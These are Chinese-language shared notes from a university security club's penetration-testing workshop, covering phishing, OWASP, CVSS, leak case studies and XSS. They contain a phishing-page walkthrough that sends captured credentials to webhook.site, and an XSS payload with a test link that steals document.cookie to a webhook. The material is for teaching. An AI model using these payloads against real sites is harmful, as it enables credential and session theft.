--- title: '2023/11/04 台科資安社-滲透測試工作坊' disqus: hackmd --- 2023 台科資安社-滲透測試工作坊 === ## Table of Contents [TOC] ## Topic 2023年11月4日星期六 上午 09:00 | 7 小時 | (UTC+08:00)台北 共筆: https://hackmd.io/82HhhxrIREiqTMb4ldxFGg?both ## 釣魚網站 GitHub: https://github.com/fcu-d0449763/phishing_20201214 JSFiddle: https://jsfiddle.net/ WebHook: https://webhook.site/#!/db04293b-a646-466d-a4d5-11f692c2a1f0 ### 測試 #### 1. 去 [Github](https://gist.github.com/fei3363/e41a3ee190377f1c04ef2ba16a72d669) 複製 code #### 2. 將 [webhook.site](https://webhook.site) 生成的網址複製貼上在 `img` 元素內的 `src` 欄位、`form` 的 `action` 欄位 #### 3. 使用 [jsfiddle](https://jsfiddle.net/) 開沙盒來進行測試,把 github 上複製的 code 貼到 HTML 上面 #### 4. fiddle 跑起來之後,就可以在 webhook 當中看見登入資訊、帳號密碼 ### 更改外部網站 form action 更改成接收訊息 ### curl 更改User-agent `shell= curl -A (user-agent) <網址> ` ## 預防/偵查 - 防範入侵:IPS/IDS - 了解駭客的攻擊手法:查看 ATT&CK 資料庫 - 惡意程式分析、逆向工程分析 > 內部滲透:駭客會先進行外部滲透,當拿到區網當中的某一台機器,可能就會使用內部滲透去攻擊其他機器 ### CVE 已知漏洞資料庫 - CVSS 漏洞評分系統 - CVSS 版本 - AV:攻擊方式是什麼樣的(N:網站) - AC:攻擊需要的複雜度 (L:低) - PR:攻擊所需的權限 (N:無) - UI:是否需要使用者互動 (N:不需要) - S:影響範疇 (C:改變) - C:機密性 - I:完整性 - A:可用性 #### [HICTCON ZeroDay](https://zeroday.hitcon.org/) - 台灣的漏洞回報平台 #### [HackerOne](https://hackerone.com/bug-bounty-programs) - 國外的 bug bounty(有錢錢賺的那種) ### nslookup - 隱藏IP: > 如果不想讓別人知道你的真實 IP 是多少,可以使用 Cloudflare Proxy,會用 CDN 內容交付網路保護原 Server ## F12 console Ref: [JavaScript入門系列:BOM和DOM筆記](https://medium.com/%E5%BF%AB%E6%A8%82%E5%AD%B8%E7%A8%8B%E5%BC%8F/javascript%E5%85%A5%E9%96%80%E7%B3%BB%E5%88%97-%E4%BD%95%E8%AC%82bom%E5%92%8Cdom-b6eeab2ee5fd) ### DOM 示範 Document Object Model,文件物件模型 ```javascript // 建立新的段落,存入變數 newElement var newElement = document.createElement("p"); // 設定段落文字內容 newElement.textContent = "新的段落"; // 將段落加入網頁中 document.body.appendChild(newElement); ``` 把以上這段塞進開發者工具 > console 裏面,可以發現它在下面新增了一個段落 ![image.png](https://hackmd.io/_uploads/rk1E8LQ76.png) ### BOM 示範 Browser Object Model,瀏覽器物件模型 ```javascript // 處理彈出視窗 window.alert("這是一個警告視窗!"); // 瀏覽器網址 window.location.href = "https://feifei.tw"; // 瀏覽器歷史紀錄 window.history.back(); ``` ### Document: Document() constructor Ref: https://developer.mozilla.org/en-US/docs/Web/API/Document/Document ### 如何預防 Cookie 可以被存取 - HTTP Only - input validation ### 偷 Cookie 時間 <!-- 類似上次搞 admin 的 payload --> <!-- 沒錯 --> ```javascript= <script>new Image().src="WEBHOOK?data="+document.cookie;</script> ``` [測試連結](http://vullab.feifei.tw/index.php?username=%3Cscript%3Enew+Image%28%29.src%3D%22%5BWEBHOOK%5D%28https%3A%2F%2Fwebhook.site%2F040571c1-9359-411e-97f7-2cc753840bc0%29%3Fdata%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E) # -----社課提供共筆----- # 網站安全共筆 [toc] ## 課程資訊 > 20231104 @台科資安社 [簽到表單](https://forms.gle/jh53avmsE9YyWzN19) --- ## 如何選擇網站作為攻擊目標? :::danger 不要去隨意攻打沒有經過對方同意的網站 ::: ### 什麼是資料外洩? ![image.png](https://hackmd.io/_uploads/S18ShMXma.png) 以上這些都是個人資料,但我們都是平民老百姓,為什麼駭客要攻擊我們QQ 駭客可能搜集我們的資訊,把我們當跳板,從而去得到他們想要的資訊 ### 駭客是如何收集到你的資訊? > 點選某個網站卻點到釣魚網站、下載遊戲下載到病毒、打開郵件其實是釣魚信件、下載到惡意檔案 可能使用社交工程 (Social Attack) 等類似釣魚的方式進行攻擊,可能會偽造如 Facebook 登入頁面等方式,讓人誤植帳號密碼 ### 我們要如何避免被駭客打? - 確認網域為正確,如 faceb0ok.com - 雙重認證 MFA - 使用 [VirusTotal](https://www.virustotal.com/gui/) 分析網站、檔案等是否安全 - 自行分析惡意程式、網站,可以使用虛擬機等 ### 分析惡意網站 - 打開 Chrome Devtools (F12) (開發者工具) - 或右鍵 -> 檢查 確認 `form` 元素發送目標 (action) 地點,但有時候會在 JavaScript 內無法很直覺地看到 :depressed: ## 駭客怎麼進行追蹤 - 圖片網址追蹤 - https://webhook.site ### 實作 1. 去 [Github](https://gist.github.com/fei3363/e41a3ee190377f1c04ef2ba16a72d669) 複製 code 2. 將 [webhook.site](https://webhook.site) 生成的網址複製貼上在 `img` 元素內的 `src` 欄位、`form` 的 `action` 欄位 3. 使用 [jsfiddle](https://jsfiddle.net/) 開沙盒來進行測試,把 github 上複製的 code 貼到 HTML 上面 4. fiddle 跑起來之後,就可以在 webhook 當中看見登入資訊、帳號密碼 > 可以從 `User-Agent` 看到你是啥系統、瀏覽器 (可以被偽造) ### 用指令的方式瀏覽網頁 + 偽造 User-Agent ```shell curl -A fei=fei <網址> ``` > Implementation: recaptcha 防爬蟲機制 (Header 驗證不安全) :::spoiler 實際案例 ![image.png](https://hackmd.io/_uploads/ryq0UX7Qp.png =x500) ::: ### 台灣怎麼防禦釣魚 https://rpz.twnic.tw/ 找較上層的 ISP 直接擋掉 DNS 請求 讓使用者不能連到釣魚網站 但如果是用任何一個國外的 VPN 就沒有辦法防護了 ### 預防/偵查 - 防範入侵:IPS/IDS - 了解駭客的攻擊手法:查看 ATT&CK 資料庫 - 惡意程式分析、逆向工程分析 > 內部滲透:駭客會先進行外部滲透,當拿到區網當中的某一台機器,可能就會使用內部滲透去攻擊其他機器 ### 案例分析:統聯資料外洩 工程師沒設定好,DEBUG 沒關,所以可以看見該網站的環境變數資訊 (env),可以看見資料庫等資訊 ![image.png](https://hackmd.io/_uploads/HkfT3XX76.png =300x) 我們得知資料庫的 port 為 3306,可透過 nslookup 之類的工具求出 DNS 紀錄 ![image.png](https://hackmd.io/_uploads/rydXhQXXa.png) 使用 nmap 查詢 port 3306 到底有沒有開 > 如果不想讓別人知道你的真實 IP 是多少,可以使用 Cloudflare Proxy,會用 CDN 內容交付網路保護原 Server > 如果有使用 CDN,可以使用 [dnsdumpster](https://dnsdumpster.com/) 搜集更多前報 ### 案例分析:宇豐電腦 工程師程式沒有寫好,邏輯沒有判斷 ![image.png](https://hackmd.io/_uploads/SkLmCX7QT.png) ### DoS vs DDoS - DoS: 有一個屁孩擋在門前,不讓你進來 - DDoS: 有好多個屁孩惡意擋在門口,其他顧客都進不來 ## 常見弱點/漏洞 ### OWASP - [OWASP top 10](https://owasp.org/www-project-top-ten/) - 定期整理出最常見的幾種弱點 - [OWASP project](https://owasp.org/projects/) - 涵蓋這種階段需要注意的弱點 ### CVE 已知漏洞資料庫 - CVSS 漏洞評分系統 - CVSS 版本 - AV:攻擊方式是什麼樣的(N:網站) - AC:攻擊需要的複雜度 (L:低) - PR:攻擊所需的權限 (N:無) - UI:是否需要使用者互動 (N:不需要) - S:影響範疇 (C:改變) - C:機密性 - I:完整性 - A:可用性 ### [HICTCON ZeroDay](https://zeroday.hitcon.org/) - 台灣的漏洞回報平台 ### [HackerOne](https://hackerone.com/bug-bounty-programs) - 國外的 bug bounty(有錢錢賺的那種) ## [今天的靶機](http://vullab.feifei.tw/index.php) - 從開發者工具可以看見很多資訊,並查找該版本相關的漏洞: - Server: nginx/1.18.0 (Ubuntu) - X-Powered-By: PHP/7.0.30 ### CSS injection ```htmlembedded= <style> h1 { color:red; } </style> <h1>飛飛</h1> ``` ![image.png](https://hackmd.io/_uploads/rkJVrL7Xp.png) [用 CSS 來偷資料 - CSS injection(上)](https://blog.huli.tw/2022/09/29/css-injection-1/) ### DOM vs BOM ![image.png](https://hackmd.io/_uploads/SJ-cuLQXT.png) ### DOM 示範 ```javascript // 建立新的段落,存入變數 newElement var newElement = document.createElement("p"); // 設定段落文字內容 newElement.textContent = "新的段落"; // 將段落加入網頁中 document.body.appendChild(newElement); ``` 把以上這段塞進開發者工具 > console 裏面,可以發現它在下面新增了一個段落 ![image.png](https://hackmd.io/_uploads/rk1E8LQ76.png) ### BOM 示範 * [參考連結](https://developer.mozilla.org/en-US/docs/Web/API/Window/history) ```javascript // 處理彈出視窗 window.alert("這是一個警告視窗!"); // 瀏覽器網址 window.location.href = "https://feifei.tw"; // 瀏覽器歷史紀錄 window.history.back(); ``` ### 其他 JS 弱點 - 找 library 有沒有漏洞: jQuery, React, Vue, Angular... - 找版本/Libeary - ex: /login.php - 找 API 路徑 - 找 API key: 有人會把帳號密碼寫在 API 裡面QQ - 用前端驗證可以直接被繞過 ## XSS ### Cookie 被偷走會怎麼樣 登入狀態會被偷走 ### 如何預防 Cookie 可以被存取 - HTTP Only - input validation ### 偷 Cookie 時間 <!-- 類似上次搞 admin 的 payload --> <!-- 沒錯 --> ```javascript= <script>new Image().src="WEBHOOK?data="+document.cookie;</script> ``` [測試連結](http://vullab.feifei.tw/index.php?username=%3Cscript%3Enew+Image%28%29.src%3D%22%5BWEBHOOK%5D%28https%3A%2F%2Fwebhook.site%2F040571c1-9359-411e-97f7-2cc753840bc0%29%3Fdata%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E) ### 瀏覽器看不到 - 丁特的扭蛋機率